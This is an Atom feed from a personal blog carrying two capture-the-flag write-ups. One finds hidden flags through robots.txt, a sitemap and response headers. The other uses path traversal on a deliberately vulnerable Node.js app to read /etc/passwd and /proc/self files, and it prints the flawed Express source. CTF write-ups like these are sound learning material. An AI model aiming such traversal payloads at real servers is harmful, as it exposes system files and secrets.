<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>sin9yt</title>
 <link href="https://sin9yt.net/atom.xml" rel="self"/>
 <link href="https://sin9yt.net/"/>
 <updated>2022-10-06T00:58:30+00:00</updated>
 <id>https://sin9yt.net</id>
 <author>
   <name>Sindhoor Tilak</name>
   <email>sindhoor@sin9yt.net</email>
 </author>

 
 <entry>
   <title>Gawds CTF/ Know whats in your head</title>
   <link href="https://sin9yt.net/web/2018/01/28/gawds-ctf-know-whats-in-your-head.html"/>
   <updated>2018-01-28T00:00:00+00:00</updated>
   <id>https://sin9yt.net/web/2018/01/28/gawds-ctf-know-whats-in-your-head</id>
   <content type="html">&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;Try to see whats inside your head before moving forward.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://head.ctf.gawds.in&quot;&gt;https://head.ctf.gawds.in&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This challenge was filled with dummy flags and was quite frustrating.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-challenge&quot;&gt;The Challenge&lt;/h2&gt;

&lt;p&gt;Looking at the description, it looks like the answer lies within the headers.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/assets/images/startup-knowyourhead.png&quot; alt=&quot;Challenge&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Like always, checking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;robots.txt&lt;/code&gt; file, gave up the following info.&lt;/p&gt;

&lt;pre&gt;
### BEGIN FILE ###

User-agent: gawds-crawler
Disallow:

### END FILE ###
&lt;/pre&gt;

&lt;p&gt;From the robots.txt file, we can now infer that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User-Agent&lt;/code&gt; must be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gawds-crawler&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Navigating to&lt;/p&gt;
&lt;pre&gt;http://swisshawk.ctf.gawds.in/flag&lt;/pre&gt;
&lt;p&gt;greets us with a &lt;strong&gt;Access Denied&lt;/strong&gt; error.&lt;/p&gt;

&lt;p&gt;Changing the method to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; also results in the same error.&lt;/p&gt;

&lt;p&gt;I started to dig more.&lt;/p&gt;

&lt;p&gt;I stumble upon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sitemap.xml&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;
This XML file does not appear to have any style information associated with it. The document tree is shown below.
&amp;lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
&amp;lt;url&amp;gt;
&amp;lt;loc&amp;gt;http://www.example.com/&amp;lt;/loc&amp;gt;
&amp;lt;lastmod&amp;gt;2018-01-02&amp;lt;/lastmod&amp;gt;
&amp;lt;changefreq&amp;gt;once&amp;lt;/changefreq&amp;gt;
&amp;lt;priority&amp;gt;0.8&amp;lt;/priority&amp;gt;
&amp;lt;/url&amp;gt;
&amp;lt;url&amp;gt;
&amp;lt;loc&amp;gt;
http://www.example.com/53129cdb3222c675a3ab1d3763a7665e90e26aed
&amp;lt;/loc&amp;gt;
&amp;lt;lastmod&amp;gt;2018-01-02&amp;lt;/lastmod&amp;gt;
&amp;lt;changefreq&amp;gt;once&amp;lt;/changefreq&amp;gt;
&amp;lt;priority&amp;gt;1.0&amp;lt;/priority&amp;gt;
&amp;lt;/url&amp;gt;
&amp;lt;/urlset&amp;gt;
&lt;/pre&gt;

&lt;p&gt;Visiting&lt;/p&gt;
&lt;pre&gt;https://head.ctf.gawds.in/53129cdb3222c675a3ab1d3763a7665e90e26aed&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;/public/assets/images/knowyourhead-dummy1.png&quot; alt=&quot;Dummy1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking the headers:&lt;/p&gt;

&lt;pre&gt;tryharderflag:flag{Alm0st_Reach4d_But_THis_is_A_DUmmY_Flag}&lt;/pre&gt;

&lt;p&gt;This was quite pissing off! I decided to give last and final shot.&lt;/p&gt;

&lt;p&gt;Looking at the hash string, it seemed like a sha-1 hash.&lt;/p&gt;

&lt;p&gt;So, I performed sha-1 hash of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag&lt;/code&gt; and obtained&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;112f3a99b283a4e1788dedd8e0e5d35375c33747&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visiting,&lt;/p&gt;
&lt;pre&gt;https://head.ctf.gawds.in/112f3a99b283a4e1788dedd8e0e5d35375c33747&lt;/pre&gt;

&lt;p&gt;You get:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/assets/images/knowyourhead-dummy2.png&quot; alt=&quot;Dummy2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When we check the headers, we get:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag: flag{G00d_W0rk_AlWys_check_f0R_headers}&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Gawds CTF/ Swisshawk</title>
   <link href="https://sin9yt.net/web/2018/01/21/gawds-ctf-swisshawk.html"/>
   <updated>2018-01-21T00:00:00+00:00</updated>
   <id>https://sin9yt.net/web/2018/01/21/gawds-ctf-swisshawk</id>
   <content type="html">&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;This challenge seemed easy in the beginning. The second part of challenge had me breaking my head, 
it made me learn a new vector in post-exploitation of web apps.&lt;/p&gt;

&lt;p&gt;Your friend Tamanna is in danger, swisshawk defaced her website and hidden some flags in there.&lt;/p&gt;

&lt;p&gt;Tamanna can only restore the website if she knows the flags, please help tamanna get her website back!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://swisshawk.ctf.gawds.in&quot;&gt;http://swisshawk.ctf.gawds.in&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-challenge&quot;&gt;The Challenge&lt;/h2&gt;

&lt;p&gt;The challenge in a sense was quite straight forward. Opening the page greets you with a steady message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/assets/images/startup-swisshack.png&quot; alt=&quot;Challenge&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As always the entry point being the source, I decided to give it a look.&lt;/p&gt;

&lt;pre&gt;&lt;p&gt;You will never be able to find the flags, I have very carefully
        hidden it somewhere here &amp;lt;!-- page: /app path: /config.js --&amp;gt;&lt;/p&gt;&lt;/pre&gt;

&lt;p&gt;Looking at the comment it was evident that it was a node.js application.&lt;/p&gt;

&lt;p&gt;From the hint, the page was currently in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app&lt;/code&gt; directory. We have to go to the root directory to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.js&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Navigating to the following page:&lt;/p&gt;
&lt;pre&gt;http://swisshawk.ctf.gawds.in/../config.js&lt;/pre&gt;

&lt;pre&gt;&lt;p&gt;module.exports = {
    PORT: process.env.PORT || 3000,
    flag1: 'flag{F1R5T_FL4G_W45NT_THAT_H4RD}',
    flag2: 'you_cant_find_me(I am the server)'
}
&lt;!-- page: /config.js path: /config.js --&gt;&lt;/p&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Flag1: flag{F1R5T_FL4G_W45NT_THAT_H4RD} &lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;phase-ii&quot;&gt;Phase II&lt;/h2&gt;

&lt;p&gt;Now challenge was finding the second flag. The hint too was very cryptic.&lt;/p&gt;
&lt;blockquote&gt;you_cant_find_me(I am the server)&lt;/blockquote&gt;

&lt;p&gt;The hint meant flag was present inside the server’s directory.&lt;/p&gt;

&lt;p&gt;I tried directory traversal. It being a node.js app, I tried various combinations of the entry points like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.js&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.js&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;http://swisshawk.ctf.gawds.in/../index.js
http://swisshawk.ctf.gawds.in/../app.js
http://swisshawk.ctf.gawds.in/app.js
http://swisshawk.ctf.gawds.in/index.js
&lt;/pre&gt;

&lt;p&gt;I then tried loading the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;
&lt;pre&gt;http://swisshawk.ctf.gawds.in/../../../../../../../../../../../etc/passwd&lt;/pre&gt;

&lt;p&gt;First breakthrough!&lt;/p&gt;

&lt;pre&gt;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
u57400:x:57400:57400:,,,:/app:/bin/bash
dyno:x:57400:57400:,,,:/app:/bin/bash
&amp;lt;!-- page: /etc/passwd path: /config.js --&amp;gt;
&lt;/pre&gt;

&lt;p&gt;But it still was a dissapointment, I wasn’t able to access any of the server files. I went to as far as looking in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;I came across an article which discussed about post exploitation techniques after a LFI vulnerability.&lt;/p&gt;

&lt;p&gt;One interesting place to look for was the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/&lt;/code&gt; directory. This directory not only contained each process related files as well as file descriptors.&lt;/p&gt;

&lt;p&gt;Each process has a directory named by its &lt;strong&gt;process id (pid).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The shortcut being, it isn’t necessary to know the process id to access the directory. The current process directory can be accessed by navigating to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/self/&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;This directory contains four juicy files:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;environ&lt;/li&gt;
  &lt;li&gt;cmdline&lt;/li&gt;
  &lt;li&gt;maps&lt;/li&gt;
  &lt;li&gt;mountinfo&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trying each file: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://swisshawk.ctf.gawds.in/../../../../../../../proc/self/environ/&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;
SHLVL=1 HOME=/app
PORT=41335PS1=\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]
VERSION=v6.12.3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NPM_VERSION=3PWD=/appDYNO=web.1NODE_CHANNEL_FD=3
&amp;lt;!-- page: /proc/self/environ path: /config.js --&amp;gt;&lt;/pre&gt;

&lt;p&gt;Nothing great.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://swisshawk.ctf.gawds.in/../../../../../../../proc/self/cmdline/&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;
/usr/bin/nodeyou_cant_find_me.js
&amp;lt;!-- page: /proc/self/cmdline path: /config.js --&amp;gt;
&lt;/pre&gt;

&lt;p&gt;We found the entry point of the node.js application.&lt;/p&gt;

&lt;pre&gt;
const express = require(&quot;express&quot;);
const config = require(&quot;../config&quot;);
const flag2 = require(&quot;../flag2isHere&quot;);
const resolve = require(&quot;path&quot;).resolve;
const fs = require(&quot;fs&quot;);

const app = express();

app.use((req, res) =&amp;gt; {
    const path = req.originalUrl.substring(1).replace('%2f', '/').replace('%2F', '/');

    let text = `You will never be able to find the flags, I have very carefully
        hidden it somewhere here`;
    if(path) {
        try {
            text = fs.readFileSync(path);
        }
        catch(err) {
            text = err;
        }
    }

    text += &quot;&amp;lt;!-- page: &quot; + resolve(path) + &quot; path: /config.js --&amp;gt;&quot;;
    return res.end(&quot;&amp;lt;p&amp;gt;&quot; + text + &quot;&amp;lt;/p&amp;gt;&quot;);
});

app.listen(config.PORT, () =&amp;gt; {
    console.log(&quot;Wohooo, all set up, listening on &quot;, config.PORT);
})&amp;lt;!-- page: /app/you_cant_find_me.js path: /config.js --&amp;gt;
&lt;/pre&gt;

&lt;p&gt;We find that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../flag2isHere&lt;/code&gt; is the js file containing the flag.&lt;/p&gt;

&lt;p&gt;Going to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://swisshawk.ctf.gawds.in/../flag2isHere.js&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;
&lt;p&gt;module.exports = {
    flag: &quot;ZmxhZ3tUSElTX20xR2hUX0g0dkVfQjMzbl9MMVR0TGVfdFIxY2tZfQ==&quot;
}&amp;lt;!-- page: /flag2isHere.js path: /config.js --&amp;gt;&lt;/p&gt;
&lt;/pre&gt;

&lt;p&gt;We get the base-64 encoded string. Decoding it we get the following flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag2: flag{THIS_m1GhT_H4vE_B33n_L1TtLe_tR1ckY}&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Under Construction!</title>
   <link href="https://sin9yt.net/2018/01/15/stay-tuned.html"/>
   <updated>2018-01-15T00:00:00+00:00</updated>
   <id>https://sin9yt.net/2018/01/15/stay-tuned</id>
   <content type="html">&lt;p&gt;Stay tuned, dropping 1st Feb!&lt;/p&gt;
</content>
 </entry>
 

</feed>
